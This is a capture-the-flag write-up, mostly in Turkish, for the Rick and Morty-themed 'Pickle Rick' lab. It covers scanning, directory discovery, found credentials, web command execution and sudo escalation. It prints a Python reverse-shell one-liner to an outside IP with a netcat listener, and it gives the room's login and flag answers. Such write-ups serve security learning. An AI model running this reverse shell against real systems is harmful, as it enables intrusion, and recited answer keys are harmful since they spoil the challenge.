Post

Pickle Rick

This Rick and Morty-themed challenge requires you to exploit a web server and find three ingredients to help Rick make his potion and transform himself back into a human from a pickle.


Pickle Rick


Rick’in ihtiyacı olan ilk malzeme nedir?

Her zamanki gibi nmap taraması ile başlayalım

80 portunda web sitesi çalıştığnı görüyoruz.

Sayfanın kaynak koduna baktığımız zaman kullanıcı adını görüyoruz.

Gobuster çalıştırıp gizli dizin arayalım.

robots.txt login.php ve portal.php sayfalarını bulduk.

robot.txt yi açtığımızda karşımıza çıkan sayfa. Şifre olabileceğini düşünerek login sayfasına giriş yapmayı deniyorum.

Giriş yapmayı başardım.

R1ckRul3s:Wubbalubbadubdub

Komut çalıştırmayı deneyelim.

Bu dosyanın içeriği cat komutu ile kontrol edilmek istendiğinde komut engelleniyor

Konsola python reverse shell komutu yazmayı deniyorum. Reverse Shell Generator kullanıyorum.

1
export RHOST="10.14.61.127";export RPORT=1234;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

netcat çalıştırmayı unutmayın.

1
nc -nvlp 1234

Makineye girmeyi başardık.

Bu aşamadan sonra makinede araştırma yapmak kalıyor.

İlk sorunun cevabına ulaşıyoruz.

mr. meeseek hair

Devam edelim.

İkinci sorunun cevabına ulaştık.

1 jerry tear

Son sorunun cevabı root dizininde. Root dizinine ulaşmak içinde root yetkisine sahip olmak gerekir. Bu sistemde yetki yükseltme komutları için hiçbir önlem alınmamış. O yüzden herhangi bir root yükseltme komutu ile yetki yükseltilebilir. Ben root yükseltmek için sudo bash komutunu kullandım

Son sorunun cevabını buluyoruz.

fleeb juice

fsoc

This post is licensed under CC BY 4.0 by the author.